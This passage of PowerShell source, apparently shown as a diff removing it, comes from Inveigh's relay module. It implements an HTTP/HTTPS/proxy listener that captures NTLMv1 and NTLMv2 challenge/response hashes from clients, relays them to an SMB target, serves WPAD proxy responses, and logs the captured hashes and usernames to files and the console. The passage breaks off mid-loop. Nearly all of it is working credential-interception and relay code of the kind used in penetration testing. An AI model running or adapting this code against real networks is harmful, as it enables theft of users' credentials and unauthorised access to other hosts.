$SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes $SMB_version - - if($SMB_relay_bytes.Length -le 3) - { - $relay_step = 0 - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port - } - - } - - if($relay_step -eq 1) - { - $SMB_user_ID = $SMB_relay_bytes[34..33] - $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) - $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" - $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 - $SMB_domain_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes - $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] - $SMB_target_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes - $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] - $SMB_relay_target_flag = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 22)] - $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] - $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - $SMB_session_ID = $SMB_relay_bytes[44..51] - - if([System.BitConverter]::ToString($SMB_relay_bytes[4..7]) -eq 'ff-53-4d-42') - { - $SMB_version -eq 'SMB1' - } - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + - $SMB_domain_length_offset_bytes + - 0x05,0x82 + - $SMB_relay_target_flag + - 0xa2 + - $SMB_relay_NTLM_challenge + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $SMB_target_length_offset_bytes + - $SMB_relay_target_details - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes - $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) - $inveigh.console_queue.Add("Received challenge $NTLM_challenge for relay from $Target") - $inveigh.console_queue.Add("Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") - $relay_step = 2 - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") - $inveigh.log.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") - } - - } - else - { - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port - } - - } - else - { - $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port - } - - } - elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') - { - $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes - $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes - [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes - $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes - - if($HTTP_NTLM_user_length -gt 0) - { - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes - } - else - { - $HTTP_NTLM_user_string = "" - } - - $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes - $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") - } - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_client_close = $true - $NTLM_challenge = "" - - if($inveigh.SMB_relay -and $relay_step -eq 2) - { - - if(!$Usernames -or $Usernames -contains $HTTP_NTLM_user_string -or $Usernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - - if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) - { - - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") - } - - $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") - SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_version $SMB_user_ID $SMB_session_ID - $relay_step = 0 - - } - else - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") - } - - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") - $SMB_relay_socket.Close() - $relay_step = 0 - } - - } - else - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") - } - - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_user_string appears to be a machine account") - $SMB_relay_socket.Close() - $relay_step = 0 - } - - } - else - { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") - } - - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on SMB relay username list") - $SMB_relay_socket.Close() - $relay_step = 0 - } - - } - - if($proxy_listener) - { - $HTTP_send = $false - } - - } - else - { - $HTTP_client_close = $false - } - - } - - if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) - { - $HTTP_message = $WPADResponse - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") - } - - $HTTP_timestamp = Get-Date -format r - $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - - if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) - { - $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) - } - - $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary - $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) - $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) - $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) - - if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) - { - $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_header_content_type) - { - $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_header_cache_control) - { - $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) - } - - if($HTTP_send) - { - $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) - $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse - $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) - $HTTP_stream.Flush() - } - - Start-Sleep -m 10 - $HTTP_request_raw_URL_old = $HTTP_request_raw_URL - $HTTP_client_handle_old = $HTTP_client.Client.Handle - - if($HTTP_client_close) - { - - if($proxy_listener) - { - $HTTP_client.Client.Close() - } - else - { - $HTTP_client.Close() - } - - } - - } - else - { - - if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) - { - $HTTP_client.Close() - $HTTP_client_close = $true - $HTTP_reset_delay = $false - } - else - { - Start-Sleep -m 100 - } - - } - - } - - $HTTP_client.Close() - start-sleep -s 1 - $HTTP_listener.Server.blocking = $false - Start-Sleep -s 1 - $HTTP_listener.Server.Close() - Start-Sleep -s 1 - $HTTP_listener.Stop() -} - -# Control Relay Loop ScriptBlock -$control_relay_scriptblock = -{ - param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime) - - function StopInveigh - { - param ([String]$exit_message) - - if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } - - } - - } - - if($inveigh.running) - { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh exited at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") - } - - Start-Sleep -S 1 - $inveigh.running = $false - } - - if($inveigh.relay_running) - { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") - } - - Start-Sleep -S 1 - $inveigh.relay_running = $false - - } - - $inveigh.HTTPS = $false - } - - if($RunTime) - { - $control_timeout = New-TimeSpan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while($inveigh.relay_running) - { - - if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) - { - Start-Sleep -S 5 - StopInveigh "disabled relay" - } - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - StopInveigh "run time" - } - - } - - if($inveigh.file_output -and -not $inveigh.control) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveAt(0) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveAt(0) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveAt(0) - } - - while($inveigh.form_input_file_queue.Count -gt 0) - { - $inveigh.form_input_file_queue[0]|Out-File $inveigh.form_input_out_file -Append - $inveigh.form_input_file_queue.RemoveAt(0) - } - - } - - if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) - { - - while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) - { - $inveigh.console_queue.RemoveAt(0) - } - - } - - Start-Sleep -m 5 - } - - } - -# HTTP Listener Startup Function -function HTTPListener() -{ - $HTTPS_listener = $false - $proxy_listener = $false - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($irkin_functions_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( - $HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument( - $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( - $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( - $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -Start-Sleep -m 50 - -# HTTPS Listener Startup Function -function HTTPSListener() -{ - $HTTPS_listener = $true - $proxy_listener = $false - $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() - $HTTPS_runspace.Open() - $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTPS_powershell = [PowerShell]::Create() - $HTTPS_powershell.Runspace = $HTTPS_runspace - $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($irkin_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $HTTPS_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( - $HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument( - $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( - $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( - $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null - $HTTPS_powershell.BeginInvoke() > $null -} - -Start-Sleep -m 50 - -# Proxy Listener Startup Function -function ProxyListener() -{ - $HTTPS_listener = $false - $proxy_listener = $true - $proxy_runspace = [RunspaceFactory]::CreateRunspace() - $proxy_runspace.Open() - $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $proxy_powershell = [PowerShell]::Create() - $proxy_powershell.Runspace = $proxy_runspace - $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $proxy_powershell.AddScript($irkin_functions_scriptblock) > $null - $proxy_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null - $proxy_powershell.AddScript($SMB_relay_response_scriptblock) > $null - $proxy_powershell.AddScript($SMB_relay_execute_scriptblock) > $null - $proxy_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( - $ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument( - $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( - $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( - $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null - $proxy_powershell.BeginInvoke() > $null -} - -# Control Relay Startup Function -function ControlRelayLoop() -{ - $control_relay_runspace = [RunspaceFactory]::CreateRunspace() - $control_relay_runspace.Open() - $control_relay_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_relay_powershell = [PowerShell]::Create() - $control_relay_powershell.Runspace = $control_relay_runspace - $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( - $RelayAutoExit).AddArgument($RunTime) > $null - $control_relay_powershell.BeginInvoke() > $null -} - -# HTTP Server Start -if($HTTP -eq 'Y') -{ - HTTPListener -} - -# HTTPS Server Start -if($HTTPS -eq 'Y') -{ - HTTPSListener -} - -# Proxy Server Start -if($Proxy -eq 'Y') -{ - ProxyListener -} - -# Control Relay Loop Start -if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $RelayAutoExit -or $RunTime) -{ - ControlRelayLoop -} - -# Console Output Loop -try -{ - - if($inveigh.console_output) - { - - if($ConsoleStatus) - { - $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - :console_loop while($inveigh.relay_running -and $inveigh.console_output) - { - - while($inveigh.console_queue.Count -gt 0) - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.console_queue[0]) - } - - $inveigh.console_queue.RemoveAt(0) - } - - {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} - { - - if($ConsoleOutput -eq 'Y') - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - } - - $inveigh.console_queue.RemoveAt(0) - - } - - {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} - { - - if($ConsoleOutput -ne "Low") - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - } - - $inveigh.console_queue.RemoveAt(0) - - } - - default - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.console_queue[0]) - } - - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) - { - - if($inveigh.cleartext_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) - $inveigh.cleartext_list.Sort() - - foreach($unique_cleartext in $inveigh.cleartext_list) - { - if($unique_cleartext -ne $unique_cleartext_last) - { - Write-Output($unique_cleartext + $inveigh.newline) - } - - $unique_cleartext_last = $unique_cleartext - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv1_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output($unique_NTLMv1 + $inveigh.newline) - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - - $unique_NTLMv1_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) - { - Write-Output($NTLMv1_username + $inveigh.newline) - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv2_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output($unique_NTLMv2 + $inveigh.newline) - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - - $unique_NTLMv2_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv2_username in 